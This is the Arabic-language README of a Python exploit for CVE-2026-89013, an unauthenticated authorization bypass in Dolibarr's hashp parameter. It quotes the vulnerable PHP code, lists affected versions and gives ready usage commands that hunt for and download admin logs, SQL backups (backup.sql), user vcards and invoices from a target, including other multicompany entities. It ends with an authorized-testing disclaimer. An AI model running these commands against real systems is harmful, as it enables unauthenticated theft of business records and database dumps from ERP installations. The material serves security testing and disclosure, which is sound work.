
مستغل Python للثغرة CVE-2026-89013، وهي تجاوز غير مُصادَق عليه للتفويض في Dolibarr hashp يتيح قراءة الملفات بشكل عشوائي، مع أوضاع check وlist وhunt وread وdownload.
استغلال لـ CVE-2026-89013: يفرض document.php و viewimage.php قيمة NOLOGIN عند
وجود المعامل hashp. قيمة العلامة الداخلية shared تتخطى
تحليل رمز المشاركة، لكن تجاوز التحكم في الوصول لا يزال يُفعَّل لأي
قيمة غير فارغة ويضبط $accessallowed = 1، متجاهلاً نتيجة
dol_check_secure_access_document(). لذلك يمكن لطلب غير مُصادَق
قراءة أي ملف في كل شجرة modulepart: مستندات الأعمال، سجلات الإدارة، نسخ SQL
الاحتياطية (modulepart=systemtools)، مصادر الوحدات المخصصة (modulepart=packages)،
وكيانات multicompany الأخرى عبر &entity=N.
| المتأثر | Dolibarr 23.0.4 – 24.0.0 |
| المُصلَح | 24.0.1 |
| المتطلبات المسبقة | لا شيء (غير مُصادَق) |
| التأثير | قراءة ملفات عشوائية داخل الدلائل المُدارة في Dolibarr |
// htdocs/document.php:189 (24.0.0) — 'shared' skips token resolution
if (!empty($hashp) && $hashp != 'shared') { ...resolve share token... }
// htdocs/document.php:292 — but any hashp forces access
if (!empty($hashp)) {
$accessallowed = 1;
$sqlprotectagainstexternals = '';
}
ارتداد (regression) عن الالتزام 5028dae981e (2026-08-12)، الذي شُحن لأول مرة في 23.0.4 و
24.0.0. يتم تنقية التجاوز (../) من جهة الخادم — هذا تجاوز تفويض، وليس تجاوز مسار.
# detection (safe, nonexistent canary file)
python3 CVE-2026-89013.py https://erp.local check
# readable modulepart trees
python3 CVE-2026-89013.py https://erp.local list
# hunt: dolibarr.log + SQL backups (generated filenames) + user vcards
python3 CVE-2026-89013.py https://erp.local hunt --db-name dolibarr --days 3 --save
# read / download
python3 CVE-2026-89013.py https://erp.local read logs/admin/logs/dolibarr.log
python3 CVE-2026-89013.py https://erp.local download systemtools/backup/backup.sql
python3 CVE-2026-89013.py https://erp.local read facture/FA2601-0001/FA2601-0001.pdf --entity 2
# PDFs via viewimage.php
python3 CVE-2026-89013.py https://erp.local viewimage facture/FA2601-0001/FA2601-0001.pdf
المكتبة القياسية فقط (Python 3.8+). يدعم --proxy، --insecure، --timeout.

لأغراض الاختبار والبحث المُصرَّح به فقط. استخدمه فقط ضد الأنظمة التي تملكها أو لديك إذن صريح باختبارها.